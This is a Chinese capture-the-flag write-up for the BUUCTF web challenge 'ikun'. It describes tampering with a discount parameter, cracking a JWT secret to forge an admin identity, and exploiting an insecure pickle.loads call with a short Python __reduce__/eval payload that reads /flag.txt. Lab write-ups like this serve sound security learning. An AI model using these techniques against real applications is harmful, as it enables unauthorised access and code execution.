zoukankan      html  css  js  c++  java
  • BUUCTF-web ikun(Python 反序列化)

    正如本题所说,脑洞有点大。考点还很多,不过最核心的还是python的pickle反序列化漏洞

    题目中暗示了要6级号,找了很多页都没看到,于是写了脚本

    在第180页有6级号,但是价格出奇的高,明显买不起。bp抓包发现有疑似折扣的参数,把值改低后提交,重定向到了后台页面,但是需要admin才行。

    这时一早就发现的JWT便派上了用场。在https://jwt.io/在线解析jwt。data段有我们的用户名,可以伪造成admin,但还需要有密钥。

    可以使用工具破解。详情见:https://github.com/brendan-rius/c-jwt-cracker

    破解出的密码是”1Kun“。把它写入下图箭头所示位置并伪造身份后通过bp发送。

    发现源码。下载后在settings.py中发现unicode编码的hint

    提示说有后门。在Admin.py中发现了序列化操作

    接下来就是盲区了。。。。。

    参考了很多资料和大佬的wp,

    原理其实和php的差不多。只不过python的序列化不够直观,看起来费劲。

     become参数存在反序列化漏洞,参数可控.。pickle.loads()进行了反序列化操作。我们利用的是__reduce__魔术方法。反序列化后产生的对象会在结束时触发reduce从而执行我们构造的代码。

    这里采用通用的exp写法

    #!/usr/bin/python
    import pickle
    import urllib
    
    class payload(object):
        def __reduce__(self):
           return (eval, ("open('/flag.txt','r').read()",))
    
    a = pickle.dumps(payload())
    a = urllib.quote(a)
    print a
    

     运行后得到payload,把箭头指向的hidden属性删除。这样就能利用网页隐藏的post框提交,将become替换成payload。

    参考博客:https://xz.aliyun.com/t/2289

    https://www.freebuf.com/column/187567.html

    https://www.sohu.com/a/274879579_729271

  • 相关阅读:
    【luogu P1343 地震逃生】 题解
    【luogu P3931 SAC E#1
    【luogu P3275 [SCOI2011]糖果】 题解
    【luogu P2947 [USACO09MAR]向右看齐Look Up】 题解
    【luogu P1456 Monkey King】 题解
    【luogu P3377 左偏树(可并堆)】 模板
    【luogu P1993 小K的农场】 题解
    Sqlmap注入Base64编码的注入点
    kali高速更新源以及主题修改方法
    DiscuzX3.1搬家全过程
  • 原文地址:https://www.cnblogs.com/remon535/p/12884834.html
Copyright © 2011-2022 走看看